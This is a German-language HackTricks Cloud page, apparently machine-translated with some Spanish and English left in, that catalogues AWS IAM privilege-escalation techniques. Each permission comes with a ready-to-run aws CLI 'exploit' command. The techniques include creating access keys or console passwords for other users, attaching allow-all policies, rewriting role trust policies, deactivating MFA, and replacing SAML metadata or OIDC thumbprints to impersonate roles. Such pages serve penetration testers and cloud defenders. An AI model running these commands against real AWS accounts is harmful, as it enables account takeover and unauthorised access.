AWS - IAM Privesc
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
IAM
Weitere Informationen zu IAM:
AWS - IAM, Identity Center & SSO Enum
iam:CreatePolicyVersion
Ermöglicht das Erstellen einer neuen IAM-Policy-Version und umgeht die Notwendigkeit der Berechtigung iam:SetDefaultPolicyVersion durch Verwendung des Flags --set-as-default. Dadurch können benutzerdefinierte Berechtigungen definiert werden.
Exploit-Befehl:
aws iam create-policy-version --policy-arn <target_policy_arn> \
--policy-document file:///path/to/administrator/policy.json --set-as-default
Auswirkung: Eskaliert Privilegien direkt, indem beliebige Aktionen auf beliebigen Ressourcen erlaubt werden.
iam:SetDefaultPolicyVersion
Ermöglicht das Ändern der Standardversion einer IAM-Policy auf eine andere vorhandene Version, was Privilegien eskalieren kann, wenn die neue Version mehr Berechtigungen hat.
Bash Command:
aws iam set-default-policy-version --policy-arn <target_policy_arn> --version-id v2
Auswirkung: Indirekte privilege escalation durch das Ermöglichen zusätzlicher Berechtigungen.
iam:CreateAccessKey
Ermöglicht das Erstellen einer access key ID und eines secret access key für einen anderen Benutzer, was zu einer möglichen privilege escalation führen kann.
Exploit:
aws iam create-access-key --user-name <target_user>
Auswirkung: Direkte Privilegieneskalation durch das Übernehmen der erweiterten Berechtigungen eines anderen Benutzers.
iam:CreateLoginProfile | iam:UpdateLoginProfile
Erlaubt das Erstellen oder Aktualisieren eines Login-Profils, einschließlich dem Festlegen von Passwörtern für die Anmeldung an der AWS Console, was zu direkter Privilegieneskalation führt.
Exploit for Creation:
aws iam create-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Exploit für Update:
aws iam update-login-profile --user-name target_user --no-password-reset-required \
--password '<password>'
Auswirkung: Direkte Privilegieneskalation durch Anmeldung als “any”-Benutzer.
iam:UpdateAccessKey
Ermöglicht das Aktivieren eines deaktivierten Access Key, was zu unautorisiertem Zugriff führen kann, falls der Angreifer über den deaktivierten Access Key verfügt.
Exploit:
aws iam update-access-key --access-key-id <ACCESS_KEY_ID> --status Active --user-name <username>
Auswirkung: Direkte Privilegieneskalation durch Reaktivierung von Access Keys.
iam:CreateServiceSpecificCredential | iam:ResetServiceSpecificCredential
Ermöglicht das Erstellen oder Zurücksetzen von Anmeldeinformationen für bestimmte AWS-Services (z. B. CodeCommit, Amazon Keyspaces), wobei die Berechtigungen des zugehörigen Benutzers übernommen werden.
Exploit für Erstellung:
aws iam create-service-specific-credential --user-name <username> --service-name <service>
Exploit zum Zurücksetzen:
aws iam reset-service-specific-credential --service-specific-credential-id <credential_id>
Auswirkung: Direkter privilege escalation innerhalb der Service-Berechtigungen des Benutzers.
iam:AttachUserPolicy || iam:AttachGroupPolicy
Ermöglicht das Anhängen von Policies an Benutzer oder Gruppen und führt so zu direkter privilege escalation, indem die Berechtigungen der angehängten Policy vererbt werden.
Exploit for User:
aws iam attach-user-policy --user-name <username> --policy-arn "<policy_arn>"
Exploit für Gruppe:
aws iam attach-group-policy --group-name <group_name> --policy-arn "<policy_arn>"
Auswirkung: Direkte privilege escalation auf alles, was die Richtlinie gewährt.
iam:AttachRolePolicy, ( sts:AssumeRole|iam:createrole) | iam:PutUserPolicy | iam:PutGroupPolicy | iam:PutRolePolicy
Erlaubt das Anhängen oder Hinzufügen von Richtlinien an Rollen, Benutzer oder Gruppen und ermöglicht damit direkte privilege escalation durch Gewährung zusätzlicher Berechtigungen.
Exploit for Role:
aws iam attach-role-policy --role-name <role_name> --policy-arn "<policy_arn>"
Exploit für Inline Policies:
aws iam put-user-policy --user-name <username> --policy-name "<policy_name>" \
--policy-document "file:///path/to/policy.json"
aws iam put-group-policy --group-name <group_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
aws iam put-role-policy --role-name <role_name> --policy-name "<policy_name>" \
--policy-document file:///path/to/policy.json
Sie können eine Richtlinie wie folgt verwenden:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}
Auswirkung: Direkte Privilegieneskalation durch Hinzufügen von Berechtigungen über Richtlinien.
iam:AddUserToGroup
Ermöglicht, sich selbst zu einer IAM-Gruppe hinzuzufügen, wodurch Privilegien eskaliert werden, indem man die Berechtigungen der Gruppe erbt.
Exploit:
aws iam add-user-to-group --group-name <group_name> --user-name <username>
Impact: Direkte Privilegieneskalation auf die Ebene der Berechtigungen der Gruppe.
iam:UpdateAssumeRolePolicy
Ermöglicht das Ändern des assume role policy-Dokuments einer Rolle, wodurch das Übernehmen der Rolle und ihrer zugehörigen Berechtigungen ermöglicht wird.
Exploit:
aws iam update-assume-role-policy --role-name <role_name> \
--policy-document file:///path/to/assume/role/policy.json
Wenn die policy wie folgt aussieht und dem Benutzer die Berechtigung gibt, die Rolle zu übernehmen:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sts:AssumeRole",
"Principal": {
"AWS": "$USER_ARN"
}
}
]
}
Auswirkung: Direkte Privilegieneskalation durch das Übernehmen der Berechtigungen beliebiger Rollen.
iam:UploadSSHPublicKey || iam:DeactivateMFADevice
Ermöglicht das Hochladen eines SSH-Public-Keys zur Authentifizierung bei CodeCommit und das Deaktivieren von MFA-Geräten, was zu potenzieller indirekter Privilegieneskalation führen kann.
Exploit for SSH Key Upload:
aws iam upload-ssh-public-key --user-name <username> --ssh-public-key-body <key_body>
Exploit für MFA-Deaktivierung:
aws iam deactivate-mfa-device --user-name <username> --serial-number <serial_number>
Auswirkung: Indirect privilege escalation durch das Aktivieren des CodeCommit-Zugriffs oder das Deaktivieren des MFA-Schutzes.
iam:ResyncMFADevice
Ermöglicht die Resynchronisierung eines MFA-Geräts, was potenziell zu indirect privilege escalation führen kann, indem der MFA-Schutz manipuliert wird.
Bash-Befehl:
aws iam resync-mfa-device --user-name <username> --serial-number <serial_number> \
--authentication-code1 <code1> --authentication-code2 <code2>
Impact: Indirekte Privilegieneskalation durch Hinzufügen oder Manipulation von MFA-Geräten.
iam:UpdateSAMLProvider, iam:ListSAMLProviders, (iam:GetSAMLProvider)
Mit diesen Berechtigungen kannst du die XML metadata der SAML connection ändern. Danach könntest du die SAML federation missbrauchen, um dich mit jeder role, die ihr vertraut, zu login.
Beachte, dass dadurch legit users won’t be able to login. Allerdings könntest du das XML bekommen, dein eigenes einsetzen, dich login und die vorherige Konfiguration wiederherstellen.
# List SAMLs
aws iam list-saml-providers
# Optional: Get SAML provider XML
aws iam get-saml-provider --saml-provider-arn <ARN>
# Update SAML provider
aws iam update-saml-provider --saml-metadata-document <value> --saml-provider-arn <arn>
## Login impersonating roles that trust the SAML provider
# Optional: Set the previous XML back
aws iam update-saml-provider --saml-metadata-document <previous-xml> --saml-provider-arn <arn>
Note
TODO: Ein Tool, das in der Lage ist, die SAML-Metadaten zu erzeugen und sich mit einer angegebenen Rolle anzumelden
iam:UpdateOpenIDConnectProviderThumbprint, iam:ListOpenIDConnectProviders, (iam:GetOpenIDConnectProvider)
(Unsicher) Wenn ein Angreifer diese Berechtigungen hat, könnte er einen neuen Thumbprint hinzufügen, um sich in alle Rollen anzumelden, die dem Provider vertrauen.
# List providers
aws iam list-open-id-connect-providers
# Optional: Get Thumbprints used to not delete them
aws iam get-open-id-connect-provider --open-id-connect-provider-arn <ARN>
# Update Thumbprints (The thumbprint is always a 40-character string)
aws iam update-open-id-connect-provider-thumbprint --open-id-connect-provider-arn <ARN> --thumbprint-list 359755EXAMPLEabc3060bce3EXAMPLEec4542a3
iam:PutUserPermissionsBoundary
Diese Berechtigung erlaubt es einem Angreifer, die permissions boundary eines user zu aktualisieren und dadurch möglicherweise seine Privilegien zu eskalieren, indem er Aktionen durchführt, die normalerweise durch seine bestehenden Berechtigungen eingeschränkt sind.
aws iam put-user-permissions-boundary \
--user-name <nombre_usuario> \
--permissions-boundary arn:aws:iam::<cuenta>:policy/<nombre_politica>
Un ejemplo de una política que no aplica ninguna restricción es:
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "BoundaryAllowAll",
"Effect": "Allow",
"Action": "*",
"Resource": "*"
}
]
}
iam:PutRolePermissionsBoundary
Ein Akteur mit iam:PutRolePermissionsBoundary kann eine Berechtigungsgrenze für eine bestehende Rolle setzen. Das Risiko entsteht, wenn jemand mit dieser Berechtigung die Grenze einer Rolle ändert: Er kann Operationen unangemessen einschränken (was zu Dienstunterbrechungen führt) oder, wenn er eine freizügige Grenze anfügt, die Möglichkeiten der Rolle effektiv erweitern und so Privilegien eskalieren.
aws iam put-role-permissions-boundary \
--role-name <Role_Name> \
--permissions-boundary arn:aws:iam::111122223333:policy/BoundaryPolicy
Quellen
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
HackTricks Cloud

